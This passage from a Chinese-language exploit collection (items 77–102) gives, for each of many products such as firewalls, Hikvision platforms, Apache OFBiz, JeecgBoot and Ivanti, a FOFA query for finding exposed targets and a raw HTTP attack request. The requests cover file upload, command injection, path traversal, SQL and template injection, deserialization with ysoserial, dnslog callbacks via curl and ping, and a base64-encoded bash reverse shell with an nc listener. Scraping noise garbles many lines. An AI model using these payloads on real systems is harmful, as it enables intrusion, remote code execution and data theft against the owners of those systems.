  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

4 I6 T( z2 f7 l: a
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

, r7 P1 Y) A$ L+ y

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
& p% ^% h0 _0 [( z* `- b0 `1 VFOFA：body="F22WEB登陆"
4 }9 f* N9 K- t1 r  \  V8 YPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
; O8 s& A( n& O" P( N, O! _Connection: close
0 e8 a4 Z  J9 V* t. y2 V; _Content-Length: 433
+ }4 k* b$ a. `Accept: */*
7 _' o& v! U7 N: I' TAccept-Encoding: gzip, deflate
8 s( M5 Y6 S& x# l. Z9 I! I: x: BAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

- {: j  u3 l* k; g------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
$ P# o, ]& r# E- w% H% XContent-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
; m& b1 l5 V3 W/ Q; R9 fContent-Disposition: form-data; name="Upload"
6 F" ?6 f: {9 Y$ T  M1 `$ m9 z
/ h8 Q6 h/ ?0 j( S/ bSubmit Query
/ A0 l" f: @; l2 d; \1 Z------------398jnjVTTlDVXHlE7yYnfwBoix--
; G' o1 w- F. W2 g. c4 a) ^  W; O
  H' E  T) y5 f' ~
/ l: e2 _3 ?) m7 d& I% H$ ~; {% _! }78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
( ]3 G# @5 P$ qPOST /Platform/System/FileUpload.ashx HTTP/1.1
; G3 A9 u. s: uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# M% I) o7 e# m4 _Connection: close
Content-Length: 336
3 j0 K8 @/ ?; u& a& e" Y  mAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
; Z. U, e3 {, m) pContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
" n! I, }5 d: tContent-Disposition: form-data; name="target"
# D% z5 B9 m: \. y4 X8 E! G" q  W4 K
/Applications/SkillDevelopAndEHS/
/ Q: x( b8 t+ t3 [; h------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
4 g8 \: Z8 U/ d  t# \, LHost: x.x.x.x
3 `+ S4 J6 {- U! R2 b' h* C& M. q9 g$ Y8 E! V
+ e1 S3 x+ @: i1 J* t  R$ a
79. BYTEVALUE 百为流控路由器远程命令执行
  E+ z7 Q. m8 |, n4 QFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
) W$ v5 t2 L( ?, p6 j" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 \* f$ L- N. V& M+ x( Y3 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 y2 [  B) ^2 s3 R! G: @Accept-Encoding: gzip, deflate
9 r" ^! J3 N. k+ {# `" UConnection: close
5 k7 ]; {" F: D7 J! T1 X! i. h5 `Upgrade-Insecure-Requests: 1
5 Y. O* H- `  t3 J) B# g, |
, t+ }  q/ s1 F5 d! c
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
9 O3 ]! P( j8 E' r' m4 r  uFOFA：app="速达软件-公司产品"
  ^" X0 h' |/ ?" C2 P2 F5 l. y; cPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
0 s) D1 L$ j4 T. }# eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 L. ^, \% B' G/ N" @. tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 ?3 o' X4 ~- N8 iContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
! R) e- Q, X7 {; m
: X: A( U) v8 n5 P8 L1 T<% out.print("oessqeonylzaf");%>

$ W7 {! ?5 H& L% M8 [8 l: |! K
& Q: l& g1 D8 N# y0 a( OGET /xykqmfxpoas.jsp HTTP/1.1
2 \9 R" ]" L0 B6 m6 C9 [7 u. hHost: x.x.x.x
- I1 O/ A3 d; H$ f3 C- oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 A2 Q% D* ?9 vAccept-Encoding: gzip
! h  r+ A4 T' H4 L! _

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
1 e6 d6 I$ j& h7 l0 d. G# w9 rGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
) _  f/ w' g: Z2 n! Z
1 K- r/ n# s/ ~" d0 n
7 A3 t# e5 A, A& s; S82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
2 H2 U3 j5 J  HPOST /bhost/test_qrcode_b HTTP/1.1
' ?6 ~" i6 s$ d& U7 j& c& N" PHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
$ I; a4 P. K+ f2 u8 h' gAccept-Encoding: gzip
Connection: close
1 ^0 N7 [+ D& F/ F! v3 \2 xContent-Type: application/x-www-form-urlencoded
  Q) `- l& W- p5 y; \Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
4 X  d7 a' T! f; J
  [# j6 u' I& C% V+ F9 r( p
83. JeecgBoot testConnection 远程命令执行
  B* g8 ~- X- o+ SFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
0 t7 C( R4 Y$ [+ p* m/ r5 a& yHost: x.x.x.x
- E2 y7 ^" a0 v) V# t$ zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
* O) t) }- o+ Y! I& ]- X/ b9 i. I9 nCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
9 t; _, m/ }+ ]7 E/ D4 rContent-Type: application/json
" D4 n2 Y8 r6 Z0 ]
1 s. A  Q0 V6 ]7 fPAYLOAD
4 Q: l9 ]. l* S7 C9 Y
8 d/ q% G7 D8 @7 f, C% _84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
$ t7 @' A  w$ g


( p  J0 J1 E0 S8 k- `9 HPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
7 @  I- M. }. g' hHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
4 k0 X2 `5 W+ P! pContent-Length: 156
Accept: */*
Connection: close
7 O2 H% m4 k# p% TContent-Type: application/json
5 f" L8 u9 f( j! wAccept-Encoding: gzip
! N/ P5 n* W3 f$ T, o0 c# J
{
' Z; t1 P: B/ ] "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
- I$ C4 C' G9 ^6 O4 g+ M}


- B) V; |1 h3 @5 D# M& l/ c+ i# _0 e85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
* }; G' l6 P3 ]% a+ D9 iFOFA：body="sysaid-logo-dark-green.png"
' ^6 l# O7 z: E- d* z( vEXP数据包如下，注入哥斯拉马
9 s! u  b) M- SPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
: p: G4 G$ N& z# M) n2 K3 {) @! rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 b7 Q$ O8 l$ ?7 J& G5 DContent-Type: application/octet-stream
  ^1 a- |# s# r1 }* c/ {3 F) B! fAccept-Encoding: gzip

: z# B, {' [! H4 H0 T3 FPAYLOAD
8 Y. d  R) i' o, t5 ?
; _5 c2 s/ |% x; `7 ]0 P- z回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
) l9 N: ^9 C  m* M1 I* h; ZFOFA：body="tosei_login_check.php"
: `8 b) }5 w# `- s8 q9 yPOST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
* [1 W6 p4 h" R2 H. G6 u1 rConnection: close
Content-Length: 44
Accept: */*
* D# s' V) u6 ~2 aAccept-Encoding: gzip
1 ]0 v* ~/ `" V1 v! E& D3 SAccept-Language: en
' z( \' y& J0 ^& k) ]- P3 jContent-Type: application/x-www-form-urlencoded
3 t; c  ?. Z8 ?9 r, I2 J& i  p
. r7 Q! }0 q5 ihost=%0acat${IFS}/etc/passwd%0a&command=ping
/ M- V6 r, W' j6 ~
' y3 J& _+ M9 C1 _/ ?" [
" ^8 s6 p: V% N) y% c87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
5 e# Y+ S$ K; R9 \/ TPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
! H' z/ t1 k( r" M8 wHost: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 i$ y- b& T7 Y" A# AConnection: close
Content-Length: 198
Accept-Encoding: gzip
) b$ M: g3 t. r8 x' b4 A- `8 ]Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

7 ^4 E( W5 D$ L0 f--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
9 F$ [) s- y1 X2 {0 uContent-Type: text/plain
: ?7 y2 K2 C: J
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
8 L  z5 D3 z; b, f  W' b--qqobiandqgawlxodfiisporjwravxtvd--
8 t5 Q( l( l% A) S2 Q

/jfhatuwe.php
9 ?- E- j+ f/ s) Y, e
) W* Q# ^+ F* s  T" T88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 }% g) e  e5 B: e2 iFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
7 z$ }% L! ~! R3 n" k( ]Host: x.x.x.xx.x.x.x
- B( D2 k6 a+ t0 ?" C" j5 HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# w' G5 {/ U6 `* T/ pAccept-Encoding: gzip, deflate
6 J2 W  [& U  C/ I7 A9 R& D9 a# kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 s! e; S7 l0 }1 z; u3 {Connection: close
  f. E! @3 @& t6 t' E
" z7 V1 O8 N% T: P" R
/astdfkhl.php
7 K7 E. V2 x+ G$ \# u
* I5 x! ?* E& K0 V) L89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
0 C* N8 b( q) J; X8 @$ HPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
  u0 ?0 p4 W8 w4 C/ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) M' j* Z" v& k/ s6 g9 ]2 [) ZContent-Length: 41
Content-Type: application/x-www-form-urlencoded
. A; `# m2 R; f: J4 {8 F" G- MAccept-Encoding: gzip
1 t0 l5 W. i3 ]# ?9 X3 S' \' s
! v2 {' a/ x4 S! |% F$ Xoption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
  f" z* C6 O( w, a) YFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 n# C; |( ^. A4 SContent-Length: 51
' R0 r6 J# W$ E* r6 ^- fAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
. C0 D& F, T8 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
! Z8 {+ R% b6 x5 u; L! A. |, PContent-Type: application/x-www-form-urlencoded
! A! [! S" p  h: N" [! g% X, y. p7 hX-Requested-With: XMLHttpRequest

# r% y( G8 U4 D4 _) Njsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

* l, Q5 i1 {4 u4 Y
4 e( D' e  U+ d91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
% E1 _+ T& O& e3 A, G$ @1 N/ wFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1 c1 V, Y) K9 EAccept-Encoding: gzip, deflate
; m5 M0 ?$ B: kAccept: */*
Connection: keep-alive
6 a  S) B$ T: _$ g

! z: |  @0 Q  G( k( A7 s4 H2 B0 O
# K; E3 J4 s  @) D/ a92. 海康威视运行管理中心session命令执行
Fastjson命令执行
7 f7 u) i, `" P% G; S$ K  f7 b. ]9 Bhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
, J4 X9 M: {2 c' F5 _# iPOST /center/api/session HTTP/1.1
) Y/ m0 d4 M3 q2 P3 _+ U7 dHost:
5 X& G! _; i; }: y. l; _% AAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
/ {4 p. @/ x) k/ `+ \$ E3 @X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
- |# n& c* J1 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
; h9 C2 j& y$ t$ jAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
# O2 ^6 S% ]! ?( B5 E1 p% H
" [& N0 O8 N5 \( d( e. U. |PAYLOAD
0 i2 M2 V: g. e' o
+ U) Q# W8 K" S  g( v
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
; |/ X$ b0 n! B# G+ f: v  I" Q- ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; a) N$ t6 {. X4 q
------WebKitFormBoundarykcbkgdfx
8 p! v# V' z4 LContent-Disposition: form-data; name="MAX_FILE_SIZE"

1 E& W) [# {1 }8 ]* C5 R10000000
# E; K9 n5 f* J7 q  q------WebKitFormBoundarykcbkgdfx
9 X/ c/ ~! C: c! q* v, m  _; CContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
) g9 P6 c8 f& V# ~) pContent-Type: text/plain
1 l5 m. Q2 O, |5 ~7 m
wagletqrkwrddkthtulxsqrphulnknxa
# S' J, j; v* [* |) B------WebKitFormBoundarykcbkgdfx
5 S7 i; x0 O6 s- |% kContent-Disposition: form-data; name="submit_post"

1 V" n+ o2 X& ~5 `8 _% a) @obj_app_upfile
5 N7 E0 D% d3 @7 [. U, d------WebKitFormBoundarykcbkgdfx
* C2 \1 U) L$ Q4 _Content-Disposition: form-data; name="__hash__"

0 q* T+ z" d) h' ^0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
0 i3 S4 ~5 r# m! UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 c5 M* @2 z, `, A' P

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
7 m1 b& }: ]- O: I! o  fFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
% u$ d! Y( j' _3 W2 m& EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
$ N8 S. C# }  p/ a7 V2 [; K  o2 v
0 p/ F# {+ I2 Q, L: [9 a1 u+ X------WebKitFormBoundarybqvzqvmt
/ ?) `' X6 F+ A: T/ o' {Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
5 {1 C8 x+ t/ S' w( q& YContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
( j- a  ~3 s( M3 i( x
7 ?3 C9 L+ b8 |7 |' f; d* n0 X, zpxplitttsrjnyoafavcajwkvhxindhmu
' g5 w1 U- G4 |+ ]------WebKitFormBoundarybqvzqvmt
, @0 z  m' G: ^" u; [  oContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarybqvzqvmt
& D- |/ g- k' Q5 G: MContent-Disposition: form-data; name="__hash__"

. o4 Z1 E; q/ x6 M- \0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
# [, Y2 K& R4 E6 W- B! l: I( M
4 `) ~8 J' s% j- j( p
  X! p- R+ B, |/ l
- y9 A9 Y9 J# {+ T* D# ?# [GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
/ ^3 B1 m( d( v, v( NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



. l; L2 T. \1 v4 q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
: I: `  C) x5 V2 \9 v1 X1 F4 z% qHost: x.x.x.x
$ B+ P0 j+ x! z4 X, c5 C1 EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 i7 K4 E5 J' f; Q# FContent-Length: 889
8 g% k  h3 {* P" |, \7 D; [Content-Type: application/xml
Accept-Encoding: gzip
' z0 @  h/ G; j+ e2 m- }5 {
<?xml version="1.0"?>
1 b- l# x3 z6 A' u<methodCall>
" v. ^# `- f* o3 ?   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
6 ]( L' O( q: U# C! \    <params>
5 ?& w5 x1 Z& s4 y5 ]+ l      <param>
      <value>
        <struct>
       <member>
          <name>test</name>
3 q4 L# W; B8 [# r! ~% K, j* u7 P          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
9 Q- H  o6 J. E7 y        </member>
6 [  N' {' m+ c- L8 j& K      </struct>
      </value>
1 d' p0 [' L' \- I- F    </param>
    </params>
* @5 {' {3 t- H4 ^, a</methodCall>
* J! D0 \# j( |4 c# l, {3 Q) ]2 [
0 c9 X: d3 W0 i- z" P! h  ^9 _
4 e3 J7 R# ]( {+ m9 Z用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
, P9 i5 E8 l! i2 {
2 T, T2 S; G0 x6 W0 l* J+ e' ^& A1 f
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
, w" w5 g) S( Y5 e8 fHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
7 f- x+ u5 h  o5 f( ~8 q6 h& t& V5 HContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
" w- ?1 R* l! s+ APOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
5 O6 [/ f+ k+ W3 j. G% ~* ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
1 t2 x* D0 C/ f
: y9 o" o; P$ i3 p& V; O9 QgroovyProgram=throw+new+Exception('id'.execute().text);
: M6 w- Z' M+ A  O/ g% t! o

+ s4 M1 a" O# T反弹shell
在kali上启动一个监听
7 t" e  [5 X# f" K6 nnc -lvp 7777
$ M: {/ I; E  M, ?& Z! f8 H
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
/ e& _0 K6 i/ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 @, s$ A) X! p& z5 f6 G/ Q( PAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
) T7 ^! i9 r% h  \# m1 {$ Z8 n
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
" y% ~2 V8 r, T! _FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
5 q4 }6 j" n, z5 ?- |" d4 F& BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ d9 X1 G9 z# y: D# f* \8 UAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


! L  r, q3 z  w1 O  r* c98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
0 y8 O( I: ^7 ]7 @; k4 g- WPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
% n2 x( p8 a0 A  Q* s' ]0 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
- [& M  ^, v/ x4 u) k; H& {Connection: close
4 L) |* f  `/ B% z: p0 ZContent-Length: 121
Accept: */*
' n) O+ ?% `* J7 x9 d# i' lAccept-Encoding: gzip, deflate
3 x$ E3 Y9 L6 g: e+ J% OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& [! S+ `& Z- O( E; H: DContent-Type: application/x-www-form-urlencoded; charset=UTF-8
$ n) a. C' h; ~X-Requested-With: XMLHttpRequest
2 P9 Z7 ~8 n. A' G
6 m$ M$ o8 T$ Y6 Q' g0 Bid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
: H. w$ d' p: U/ ]; W/ E" |8 |3 c2 t

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
$ O: x( L# f0 E  m6 {; h8 M; b" D4 n/ YFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
" m! f8 g6 Z7 I6 c8 K/ O5 QHost: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 Y( e0 M; K5 P6 Y, R/ Q6 XConnection: close
Content-Length: 154
) y' U3 b& ?1 C* J  }Accept: */*
Accept-Encoding: gzip, deflate
2 N; t2 m4 J5 T- a, T0 @# ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- X, g0 [  J6 T7 n" bContent-Type: application/x-www-form-urlencoded; charset=UTF-8
5 e* m) ~! Q+ I' f+ NX-Requested-With: XMLHttpRequest
$ ]( Z+ O8 f) C7 b- ?
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
7 o& Y$ O' d( [7 S

100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
7 l5 x8 ]. k8 {2 q2 z- l3 K# N/ |CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
$ o+ w. b7 q  m1 J6 ?Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
0 H" {. U* E; c$ H( h7 EConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
6 D  F8 f- ]' y% B( FAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
' A$ J' d8 B9 ~( u# H5 Z8 Y& wContent-Type: application/x-php
) F3 N7 M- N/ h& ?: W7 i+ \! K
& k' L1 Q$ L, E; X6 c2ayyhRXiAsKXL8olvF5s4qqyI2O
6 A; `, l# F2 l. s& r7 t------WebKitFormBoundarygcflwtei--
0 Q% `' [; k& k) W
2 ~3 }. c$ a: E! h% F8 s
1 J2 ~1 n6 E( N: S7 x- W6 M! o( s101. ivanti policy secure-22.6命令注入
0 `5 O. V8 W5 W! s% zCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
2 \' ?+ H% B. Z, g. o: [! S$ e/ {Host: x.x.x.xx.x.x.x
, ~0 ]1 e$ X  K, z# mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
  V/ z& \0 {# d( N

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
: K& f- ?. U2 {. L+ H9 _) f) _FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
